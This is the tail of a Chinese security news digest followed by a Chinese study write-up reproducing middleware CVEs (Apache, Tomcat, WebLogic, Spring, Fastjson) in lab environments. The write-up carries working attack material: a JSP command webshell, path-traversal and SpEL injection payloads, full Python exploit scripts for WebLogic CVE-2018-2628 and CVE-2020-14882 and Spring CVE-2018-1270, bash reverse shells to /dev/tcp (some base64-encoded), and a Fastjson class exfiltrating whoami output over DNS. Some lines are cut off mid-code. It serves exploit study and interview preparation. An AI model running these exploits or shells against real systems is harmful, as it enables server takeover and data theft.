CONTINUATION帧的使用有关,这些帧在协议的许多实现中都没有得到适当的限制或检查。研究人员称,在某些实现中,内存不足的情况可能会导致使用单个HTTP/2 TCP连接的服务器 3、电子商务平台Magento中存在安全漏洞 https://cybersecuritynews.com/magento-backdoor-injection/ Magento电子商务平台中的一个安全漏洞已被揭露,该漏洞被识别为CVE-2024-20720,允许攻击者将持久的后门注入Magento服务器,从而危及电子商务网站的安全性。已发现攻击者将恶意XML代码插入layout_update数据库表中,然后在客户每次访问结账购物车时执行该表。执行的特定命令用于向CMS控制器添加后门,确保即使在手动修复或系统重新编译后也能重新注入恶意软件。 4、Vmware修复VMware SD-WAN中的多个安全漏洞 https://cybersecuritynews.com/vmware-sd-wan-vulnerabilities/ VMware修复了影响VMware SD-WAN的多个安全漏洞,这些漏洞允许攻击者在目标系统上执行任意命令。相关漏洞被标记为CVE-2024-22246、CVE-2024-22247和CVE-2024-22248。VMware已针对这些漏洞进行修复,因此,VMware强烈建议使用VMware SD-WAN的用户立即使用可用的修复程序进行安全修复。 5、攻击者声称物流公司XpressBees的数据泄露 https://cybersecuritynews.com/claiming-xpressbees-data-leak/ 物流公司XpressBees成为数据泄露的最新受害者,名为“IntelBroker”的用户在黑客论坛中声称对该泄漏负责,据称该泄漏暴露了多达95000名用户的个人信息。泄露的数据包括可能被滥用于身份盗用、金融欺诈和其他恶意活动的敏感个人信息。虽然泄露数据的细节尚未完全披露,但黑客通常会在此类违规行为中获取姓名、地址、电子邮件地址、电话号码,有时甚至是信用卡详细信息或银行帐号等财务信息。损坏的程度仍在评估中,XpressBees尚未确认泄露数据的确切性质。 6、家得宝确认其员工数据泄露 https://www.bleepingcomputer.com/news/security/home-depot-confirms-third-party-data-breach-exposed-employee-info/ 一个名为IntelBroker的攻击者在一个黑客论坛上泄露了大约10000名家得宝员工的数据。家得宝(Home Depot)确认了此次事件,称第三方软件即服务(SaaS)供应商在测试其系统期间无意中公开了家得宝员工的姓名,工作电子邮件地址和用户ID的一小部分样本。虽然这些数据不是高度敏感的,只暴露了公司 ID、姓名和电子邮件地址,但威胁行为者可能会使用它对Home D 7、Rhadamanthys 针对石油和天然气行业发起网络钓鱼攻击 https://www.freebuf.com/news/397145.html 近日,有黑客利用一种名为 Rhadamanthys 的信息窃取恶意软件发起网络钓鱼活动,专门针对石油和天然气行业。Cofense研究员 Dylan Duncan 表示:这些钓鱼邮件使用了比较独特的车辆事故作为“诱饵”,并在感染链的后期阶段,用一个PDF文件诱骗联邦运输局,其中提到了对事故的巨额罚款。 8、美国环境保护局遭黑客攻击,850万用户数据泄露 https://www.freebuf.com/articles/397144.html 据hackread网站消息,美国环境保护局(EPA)近期遭遇了一起重大的数据泄露事件。此次事件可能由一名被称为USDoD的黑客所为,涉及超过850万用户(包括客户和承包商)的个人敏感信息外泄,引发了对身份盗用、网络间谍活动以及环境报告产生的不良影响的担忧。 9、YouTube 被用于传播恶意软件 https://cybernews.com/security/youtube-used-to-distribute-malware/ 网络安全公司 Proofpoint 警告称,信息窃取恶意软件正在以盗版软件和视频游戏破解的“幌子”通过 YouTube 传播。该公司在调查后透露,包括 Vidar、StealC 和 Lumma Stealer 在内的恶意软件已以视频游戏破解的形式在 YouTube 上传播。 10、Facebook、Instagram将显著标记由AI生成的音视频内容 https://www.freebuf.com/news/397077.html Meta于4月5日宣布将对旗下Facebook 和 Instagram平台上的数字创建和更改媒体政策进行调整,以遏制在美国大选前利用人工智能进行的深度伪造内容传播。据Meta内容政策副总裁莫妮卡-比克特(Monika Bickert)透露,这一政策将从今年5月起生效,其平台上发布的由人工智能生成的视频、图片和音频将被打上相应的标签,以进行显著区分。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
中间件漏洞攻防学习总结
前言 面试常问的一些中间件,学习总结一下。以下环境分别使用vulhub和vulfocus复现。 Apache apache 文件上传 (CVE-2017-15715) 描述: Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略 说明是黑名单绕过使用编码器,在php后面加0a这里加a是方便修改0a apache httpd解析漏洞 查看配置文件grep -rn "x-httpd-php"改漏洞存在的主要原因是这个配置文件的原因 Apache SSI 远程命令执行漏洞 在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。有限制,影响版本是apache全版本,支持SSI与CGI默认的扩展名是.stm、.shtm 和 .shtml CVE-2021-41773 目录穿越 Apache HTTP Server2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。符合版本payload curl -v --path-as-is http://192.168.48.144:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd CVE-2021-42013 RCE&目录遍历&文件解析 apache HTTP Server2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache2.4.49 和 Apache2.4.50,而不影响更早版本POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: 192.168.48.144:8 echo;id Tomcat CVE-2017-12615 文件上传 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限这里存在PUT任意文件上传漏洞但是值得一提的是这里有个细节,org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求org.apache.catalina.s <%if("666".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%> /绕过%20绕过xxx.jsp::$DATA绕过冰蝎马连接 CVE-2020-1938 文件包含 ApacheTomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。漏洞影响的产品版本包括:Tomcat6.*Tomcat7.<7.0.100Tomcat8.<8.5.51Tomcat9.*<9.0.31使用这个脚本CNVD-2020-10487-Tomcat-Ajp-lfi.pyhttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfipython2 CNVD-20 tomcat弱口令getshell 这里弱口令地点在这个manager这里尝试tomcat/tomcat使用哥斯拉生成jsp马,然后压缩zip,修改文件名war在这里上传这里多个目录,地址请求/1/1.jspwebshell连接 weblogic Weblogic是Oracle公司推出的J2EE应用服务器。探针默认端口:7001推荐工具https://github.com/KimJun1010/WeblogicTool/ weblogic ssrf(CVE-2014-4210) weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。影响版本Oracle WebLogic Server 10.3.6.0Oracle WebLogic Server 10.0.2.0http://192.168.48.144:7001/uddiexplorer/ 未授权访问ssrf payload/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Bus weblogic 反序列化(CVE-2017-10271) 描述: Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。该漏洞的原因主要是XMLDecoder解析用户的XML的数据 weblogic 反序列化(CVE-2018-2628) 该漏洞通过T3协议触发,可导致远程命令执行漏洞影响版本 Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3 什么是T3协议?T用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度http://192.168.48.144:7001/ 访问7001端口,也是这个页面,类似springboot,可以用这个作为weblogic的特征 bash -i >& /dev/tcp/192.168.48.144/6677 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE= java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}'CVE-2018-2628 EXP from __future__ import print_function import binascii import os import socket import sys import time def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):   #generates ysoserial payload   command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)   print("command: " + command)   os.system(command)   bin_file = open('payload.out','rb').read()   return binascii.hexlify(bin_file) def t3_handshake(sock, server_addr):   sock.connect(server_addr)   sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))   time.sleep(1)   sock.recv(1024)   print('handshake successful') def build_t3_request_object(sock, port):   data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c6545   data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e   data3 = '1a7727000d3234322e323134'   data4 = '2e312e32353461863d1d0000000078'   for d in [data1,data2,data3,data4]:       sock.send(d.decode('hex'))   time.sleep(2)   print('send request payload successful,recv length:%d'%(len(sock.recv(2048)))) def send_payload_objdata(sock, data):   payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870   payload+=data   payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e74657   payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)   sock.send(payload.decode('hex'))   time.sleep(2)   sock.send(payload.decode('hex'))   res = ''   try:       while True:           res += sock.recv(4096)           time.sleep(0.1)   except Exception:       pass   return res def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   sock.settimeout(65)   server_addr = (dip, dport)   t3_handshake(sock, server_addr)   build_t3_request_object(sock, dport)   payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)   print("payload: " + payload)   rs=send_payload_objdata(sock, payload)   print('response: ' + rs)   print('exploit completed!') if __name__=="__main__":   #check for args, print usage if incorrect   if len(sys.argv) != 7:       print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '             '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')       sys.exit()   dip = sys.argv[1]   dport = int(sys.argv[2])   path_ysoserial = sys.argv[3]   jrmp_listener_ip = sys.argv[4]   jrmp_listener_port = sys.argv[5]   jrmp_client = sys.argv[6]   exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) weblogic 未授权RCE(CVE-2020-14882) 漏洞影响版本Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0payload 未授权访问后台http://192.168.48.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsContro http.client.HTTPConnection.http_vsn = 10http.client.HTTPConnection.http_vsn_str = 'HTTP/1.0' requests.packages.urllib3.disable_warnings() #功能1方法:回显命令执行。def command(url_cmd,headers_cmd,url): try: res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False) if "<html" not in res.text and "<TITLE" not in res.text : print ("[+] Command success result:") print (res.text) else: print ("[-] " + url + " not vulnerable or command error!") except Exception as e: #print (e) print ("[-] " + url + " not vulnerable or command error!") #功能2方法:无回显,命令执行,适用于Weblogic 10.x、12.x。def weblogic_12(url_cmd,post_12,headers_12): try: res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False) #print ("[+] Attack complete!") except Exception as e: print ("[+] Attack complete!") def main(): banner = """ ___ ___ _ _ _ _ __ _ _ _ _ _ / __\ \ / / | |__ \ / _ _ \ / _ \ /_ | || | / _ \ / _ __ \ | | \ \ / /| |_ __ ) | | | | ) | | | |__| | || || () | () | ) || | \ \/ / | |_/ /| | | |/ /| | | |_| | _> _ < > _ < / / | | \ / | | / /| || / /| || | | | | || () | () / / _| \/ |__| ||_/_                                                     Author:GGyao                                                     Github:[https://github.com/GGyao](https://github.com/GGyao) """ print (banner) parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。") parser.add_argument("-f", "--file", help="Target File; Example:target.txt。") parser.add_argument("-c", "--cmd", help="Commands to be executed; ") parser.add_argument("-x", "--xml", help="Remote XML file; Example:[http://vpsip/poc.xml;](http://vpsip/poc.xml;) ") args = parser.parse_args() #功能1:命令回显。 if args.url != None and args.cmd != None: url = args.url url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentW headers_cmd = { 'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'cmd':args.cmd, 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' } #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandle #command(url_cmd,post_cmd,headers_cmd,url) command(url_cmd,headers_cmd,url) #功能2:weblogic 12.x命令执行。 if args.url != None and args.xml != None: url_cmd = args.url + '/console/images/%252e%252e/console.portal' headers_12 = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' } post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml) weblogic_12(url_cmd,post_12,headers_12) # 功能3:回显命令执行批量。 if args.file != None and args.cmd != None: #print (1) for File in open(args.file): File = File.strip() url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork( print ("[*] >>> Test:" + File) url = File headers_cmd = { 'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'cmd':args.cmd, 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type':'application/x-www-form-urlencoded' } #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHand command(url_cmd,headers_cmd,url) if name=="main": main():::python3 CVE-2020-14882.py -u http://192.168.48.144:7001 -c "whoami" weblogic RCE (CVE-2023-21839) 漏洞介绍CVE-2023-21839是Weblogic产品中的远程代码执行漏洞,由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功可能会导致Oracle Weblogic服务器被控制,远程注入操作系统命令或代码。java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.48.144使用工具进行攻击下载地址https://github.com/DXask88MA/Weblogic-CVE-2023-21839ja weblogic weak_password 该漏洞复现过程为通过任意文件读取其密文和加密的密钥文件进行破解,然后用得到的密码进行登陆,利用后台文件上传进行getshell复现过程任意文件读取payload hello/file.jsp?path=SerializedSystemIni.dat 二进制文件是密钥config.xml 是密文weblogic密码使用AES加密,老版本使用的是DES。需要找到密钥即可对密文进行解密这里利用任意文件读取漏洞对密钥和密文进行读取/hello/file.jsp?path=security/SerializedSystemIni.dat这里复制到文件/hello/file.jsp?path=config 浅浅总结下,weblogic特征404页面。/console可访问登陆,进后台管理可以通过war包上传getshell,有xmldecode反序列化和T3协议反序列化,存在SSRF漏洞打内网漏洞 spring spring框架Spring是一个轻量级Java开发框架,最早有Rod Johnson创建,目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。它是一个分层的JavaSE/JavaEE full-stack(一站式)轻量级开源框架,为开发Java应用程序提供全面的基础架构支持。Spring负责基础架构,因此Java开发者可以专注于应用程序的开发。springboot框架介绍SpringBoot是一个快速开发的框架,能过快速整合第三方框架,他是如何快速整合的呢?其实他是的基本原来是Maven依赖关系,Maven的集成,完全采用注解化,简化XML配置,内嵌HTTP服务器(Tomcate, 敏感信息泄露漏洞 这里直接上工具扫就行https://github.com/AabyssZG/SpringBoot-Scan工具使用 python3 SpringBoot-Scan.py -u "http://192.168.48.133:8080/%22 信息泄露 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22 漏洞利用 Spring-security-oauth(CVE-2016-4977) 影响版本Spring Security OAuth 2.3到2.3.2Spring Security OAuth 2.2到2.2.1Spring Security OAuth 2.1到2.1.1Spring Security OAuth 2.0到2.0.14payloadadminadminhttp://192.168.48.133:8080/oauth/authorize?response_type=$%7B3*3%7D&client_id=acme&scope=openid&redirect_uri=http://test&&&response_type参数值会被当做Spring SpEL message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]:   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc) ${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).c Spring WebFlow远程代码执行(CVE-2017-4971) Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。影响版本Spring WebFlow 2.4.0 - 2.4.4http://192.168.48.133:8080/hotels/1这里有默认的账号密码登陆后点击confirm抓包漏洞触发点在这里payload构造&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>&+/dev/tcp Spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046) 漏洞原理Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码payload其中数字的构造payload = b'touch /tmp/success'bytecode = ','.join(str(i) for i in list(payload))print(bytecode) PATCH/customers/1HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 202 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }] 反弹shellbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,52,76,106,69,48,78,67, Spring CVE-2018-1270 影响版本Spring Framework 5.0 to 5.0.4Spring Framework 4.3 to 4.3.14EXP利用 #!/usr/bin/env python3import requestsimport randomimport stringimport timeimport threadingimport loggingimport sysimport json logging.basicConfig(stream=sys.stdout, level=logging.INFO) def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length)) class SockJS(threading.Thread):def init(self, url, args, **kwargs): super().init(args, *kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9. def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5) def send(self, command, headers, body=''): data = [command.upper(), '\n'] data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()])) data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)]) response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.") def del(self): self.session.close() sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket')sockjs.start()time.sleep(1) sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'})sockjs.send('subscribe', {'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})','id': 'sub-0','desti data = json.dumps({'name': 'vulhub'})sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'}, data) 反弹shell成功 Spring Data Commons RCE漏洞(CVE-2018-1273) Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22 POST /users?page=&size=5 HTTP/1.1Host: 192.168.48.133:8080Connection: keep-aliveContent-Length: 129Pragma: no-cacheCache-Control: no-cacheOrigin: http://192.168.48.133:8080Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch whoami.sh")]=&password=&123repeatedPassword=123 python启动http.serverpython -m http.server 8888bash -i >& /dev/tcp/192.168.48.144/6665 0>&1payloadusernamehttp://192.168.48.144:8888/whoami6.sh%27&&]=&password=&123repeatedPassword=123)这里bash反弹成功了 ./执行未成功 Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947) 漏洞说明2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway https://so.csdn.net/so/search?q=Actuator&spm=1001.2101.3001.7020端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。影响版本 Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Gateway 3.0.x < 3.0.7 旧的、不受支持的版本也会受到影响 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22 POST /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, {"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com%22} 发送如下数据包触发表达式执行 POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we GET /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i 发送如上数据包查看结果 Spring Cloud Function SpEL RCE漏洞(CVE-2022-22963) 漏洞说明 2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。漏洞利用手工复现 POST /functionRouter HTTP/1.1Host: 192.168.68.168:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(j Test Spring Core RCE漏洞(CVE-2022-22965) 漏洞说明Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。/tomcatwar.jsp?pwd=aabysszg&cmd=whoami手工复现GET /?class.module.classLoader.resources.context.paren Spring Security 身份认证绕过漏洞 (CVE-2022-22978) 漏洞说明当SpringSecurity中使用RegexRequestMatcher进行权限配置,且规则中使用带点号的正则表达式时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效/admin/%0dtest/admin/%0atestspring漏洞总结spring框架存在敏感信息泄露漏洞,headdump泄露可能回泄露数据库密码等敏感数据,同时有许多的spel表达式注入漏洞,可以导致远程命令执行,还有身份认证绕过漏洞 Fastjson 什么是fastjson? fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(https://so.csdn.net/so/search?q=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1001.2101.3001.7020)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象 fastjson反序列化漏洞原理 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。fastjson漏洞利用过程编译一个恶意类,启动RMI服务,构造fastjson payload加载远程类,达到命令执行的目的。漏洞复现首先要配置好marshalsec.jar该工具是java反序列化工具,可以快速开启RMI和LDAP服务mvn编译,建议环境JAVA1.8,maven3.6+proxychains4 git clone https://github.com/mbechler/marshalsec.g import java.lang.Runtime;import java.lang.Process;public class test{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.ivg4na.dnslog.cn"}; Process pc = rt.exec(commands); 